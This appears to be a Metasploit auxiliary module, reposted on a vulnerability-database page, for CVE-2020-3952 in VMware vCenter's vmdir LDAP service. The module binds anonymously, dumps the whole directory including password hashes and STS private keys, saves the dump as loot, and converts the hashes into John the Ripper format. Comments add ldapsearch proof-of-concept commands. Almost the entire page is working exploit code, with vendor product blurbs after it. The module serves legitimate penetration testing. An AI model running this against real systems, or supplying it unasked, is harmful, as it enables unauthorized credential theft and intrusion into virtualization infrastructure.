`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server vmdir Information Disclosure',
'Description' => %q{
This module uses an anonymous-bind LDAP connection to dump data from
the vmdir service in VMware vCenter Server version 6.7 prior to the
6.7U3f update, only if upgraded from a previous release line, such as
6.0 or 6.5.
If the bind username and password are provided (BIND_DN and BIND_PW
options), these credentials will be used instead of attempting an
anonymous bind.
},
'Author' => [
'Hynek Petrak', # Discovery, hash dumping
'wvu' # Module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
],
'DisclosureDate' => '2020-04-09', # Vendor advisory
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump all LDAP data' }]
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])
])
end
def base_dn
@base_dn ||= 'dc=vsphere,dc=local'
end
def policy_dn
"cn=password and lockout policy,#{base_dn}"
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
# ldapsearch -xb "" -s base -H ldap://[redacted]
#
# Dump data using discovered base DN:
# ldapsearch -xb dc=vsphere,dc=local -H ldap://[redacted] \* + -
def run
entries = nil
ldap_connect do |ldap|
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = ldap.base_dn)
print_warning('Falling back on default base DN dc=vsphere,dc=local')
end
end
print_status("Dumping LDAP data from vmdir service at #{ldap.peerinfo}")
# A "-" meta-attribute will dump userPassword (hat tip Hynek)
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/ldap-head/result.c#L647-L654
entries = ldap.search(base: base_dn, attributes: %w[* + -])
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
print_error("#{ldap.peerinfo} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
print_error('Dump failed')
return Exploit::CheckCode::Safe
end
print_good("#{ldap.peerinfo} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
pillage(entries)
# HACK: Stash discovered base DN in CheckCode reason
Exploit::CheckCode::Vulnerable(base_dn)
end
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
Exploit::CheckCode::Unknown
end
def pillage(entries)
# TODO: Make this more efficient?
ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n")
print_status('Storing LDAP data in loot')
ldif_filename = store_loot(
name, # ltype
'text/plain', # ctype
rhost, # host
ldif, # data
nil, # filename
"Base DN: #{base_dn}" # info
)
unless ldif_filename
print_error('Could not store LDAP data in loot')
return
end
print_good("Saved LDAP data to #{ldif_filename}")
if (policy = entries.find { |entry| entry.dn == policy_dn })
print_status('Password and lockout policy:')
print_line(policy.to_ldif[/^vmwpassword.*/m])
end
# Process entries with a non-empty userPassword attribute
process_hashes(entries.select { |entry| entry[:userpassword].any? })
end
def process_hashes(entries)
if entries.empty?
print_status('No password hashes found')
return
end
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'vmdir/ldap'
}
entries.each do |entry|
# This is the "username"
dn = entry.dn
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76
type, hash, salt = entry[:userpassword].first.unpack('CH128H32')
case type
when 1
unless hash.length == 128
vprint_error("Type #{type} hash length is not 128 digits (#{dn})")
next
end
unless salt.length == 32
vprint_error("Type #{type} salt length is not 32 digits (#{dn})")
next
end
# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197
john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")
next
end
print_good("Credentials found: #{dn}:#{john_hash}")
create_credential(service_details.merge(
username: dn,
private_data: john_hash,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)
))
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation